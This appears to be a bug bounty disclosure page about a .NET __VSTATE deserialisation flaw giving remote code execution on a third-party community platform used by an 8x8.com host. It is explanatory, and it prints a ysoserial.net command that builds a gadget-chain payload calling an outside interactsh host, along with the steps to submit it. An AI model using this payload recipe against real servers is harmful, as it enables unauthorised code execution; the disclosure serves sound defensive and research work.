Remote Code Execution on ██.8x8.com via .NET VSTATE Deserialization
A third-party community platform used by the site deserialised a user-supplied value in the __VSTATE parameter, allowing an attacker to run code on the server. The reporter confirmed this by generating a serialised payload that triggered an outbound DNS lookup.
Originally disclosed on HackerOne
- Triaged in 2 hours
- Fixed in 7 days
- Disclosed after 3 months
Summary by the program
@0daystolive reported to us a flaw in a 3rd party community platform, which could be exploited to achieve RCE. We swiftly relayed this to the vendor and their engineering team turned off the affected code, which resolved the issue.
Summary by the researcher
For more details about this vulnerability read: https://blog.sorcery.ie/posts/higherlogic_rce
TLDR:
- Generate payload with ysoserial.net:
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.interactsh.com" -o raw | base64 -d | gzip - | base64 -w0 - Insert payload into
__VSTATEparameter on the page. - Submit the form.
- A DNS request is observed on interactsh, confirming the RCE.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application deserialised the untrusted __VSTATE form value with .NET's LosFormatter without validating its type, enabling gadget-chain code execution.
Impact
An attacker could execute arbitrary code on the community platform's server, though the vendor disabled the affected code to resolve it.
What the attacker needed
Access to the vulnerable form page
The fix
The vendor's engineering team turned off the affected code, which resolved the issue.
How it was found
- Generate a serialised payload with ysoserial.net using the LosFormatter format and a command that triggers an outbound lookup.
- Place the payload into the __VSTATE parameter on the page.
- Submit the form.
- Observe the DNS request on the interaction server, confirming code execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some web pages send data back to the server in a packed format that the server unpacks (deserialises) to rebuild an object. If the server trusts whatever the user sends, an attacker can craft that packed data so that unpacking it runs their own commands. Here the packed value sat in a form field called __VSTATE, and the test payload simply made the server look up a hostname the attacker controlled, proving code ran.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.